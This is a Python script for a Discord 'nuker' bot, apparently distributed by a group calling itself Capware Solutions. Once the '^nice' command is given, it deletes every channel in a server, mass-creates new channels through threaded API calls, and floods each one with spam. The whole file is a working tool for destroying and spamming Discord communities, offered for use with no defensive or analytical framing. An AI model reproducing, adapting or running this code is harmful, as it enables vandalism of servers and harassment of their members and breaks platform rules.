# -*- coding: utf-8 -*- import os import sys import hashlib try: import discord from discord.ext import commands import threading import time import requests from discord.ext.commands import CommandNotFound import colorama from colorama import Fore import asyncio from datetime import datetime from pystyle import * import logging except: os.system('pip install discord colorama pystyle asyncio requests') import discord from discord.ext import commands import threading import time import requests from discord.ext.commands import CommandNotFound import colorama from colorama import Fore import asyncio from datetime import datetime from pystyle import * def clear(): os.system("cls") os.system('title Capware Solutions [gg/capware]') logging.basicConfig(filename='debug.log', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s') class CustomStreamHandler(logging.StreamHandler): def emit(self, record): try: formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') self.setFormatter(formatter) msg = self.format(record) stream = self.stream stream.write(msg + '\n') self.flush() except (KeyboardInterrupt, SystemExit): raise except: self.handleError(record) logger = logging.getLogger('my_logger') stream_handler = CustomStreamHandler(sys.stdout) logger.addHandler(stream_handler) class StdoutToLogger: def __init__(self, logger, level=logging.INFO): self.logger = logger self.level = level def write(self, message): if message.rstrip() != "": level = "INFO" if "DEBUG" in message: level = "DEBUG" elif "WARNING" in message: level = "WARNING" elif "ERROR" in message: level = "ERROR" elif "CRITICAL" in message: level = "CRITICAL" fm = f"{Fore.LIGHTBLACK_EX}[{datetime.now().strftime('%H:%M:%S')}] @ {level} >>{Fore.LIGHTWHITE_EX} {message}" self.logger.log(getattr(logging, level), message.rstrip()) sys.__stdout__.write(fm + '\n') def flush(self): pass sys.stdout = StdoutToLogger(logging.getLogger('STDOUT'), logging.INFO) tkn = input(f"[{Fore.MAGENTA}Capware Solutions{Fore.RESET}] {Fore.LIGHTWHITE_EX}Enter bot token: ") msg = input(f"[{Fore.MAGENTA}Capware Solutions{Fore.RESET}] {Fore.LIGHTWHITE_EX}What would you like to spam? ") chn = input(f"[{Fore.MAGENTA}Capware Solutions{Fore.RESET}] {Fore.LIGHTWHITE_EX}Whats the channel name? ") headers = { "Authorization": f"Bot {tkn}" } session = requests.Session() client = commands.Bot(command_prefix="^", intents=discord.Intents.all()) client.remove_command("help") def asciiprint(): print(f"[{Fore.RED}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Ready. Use [^nice] to nuke.") @client.event async def on_ready() -> None: clear() t = threading.Thread(target=asciiprint) t.start() @client.event async def on_guild_channel_create(channel): for i in range(70): try: await channel.send(msg) print(f"[{Fore.MAGENTA}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Sent a message.") except: print(f"[{Fore.RED}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}An error occurred while sending a message.") async def wyvbasic1(ctx) -> None: guild = ctx.guild.id def spc(i): json_data = { "name": i } session.post( f"https://discord.com/api/v9/guilds/{guild}/channels", headers=headers, json=json_data ) print(f"[{Fore.MAGENTA}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Created channel.") for i in range(50): threading.Thread( target=spc, args=(chn,) ).start() @client.command() async def nice(ctx) -> None: await ctx.message.delete() guild = ctx.guild async def delete_channel(channel): try: await channel.delete() print(f"[{Fore.MAGENTA}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Deleted channel.") except discord.Forbidden: print("[{Fore.RED}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Missing permissions.") except discord.HTTPException as e: if e.code == 50074: print(f"[{Fore.RED}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Got error [50074]") else: print(f"[{Fore.RED}v{Fore.RESET}] {Fore.LIGHTWHITE_EX}Error {e}") ctd = [channel for channel in guild.channels if isinstance(channel, discord.TextChannel) or isinstance(channel, discord.VoiceChannel) or isinstance(channel, discord.CategoryChannel)] cs = 100 ch = [ctd[i:i + cs] for i in range(0, len(ctd), cs)] for chunk in ch: await asyncio.gather(*[delete_channel(channel) for channel in chunk]) await wyvbasic1(ctx) clear() print(f'[{Fore.MAGENTA}+{Fore.RESET}] {Fore.LIGHTWHITE_EX}Logging in...') try: client.run(tkn) except: print(f"[{Fore.RED}x{Fore.RESET}] {Fore.LIGHTWHITE_EX}Invalid token and/or rate limited.{Fore.RESET}") input()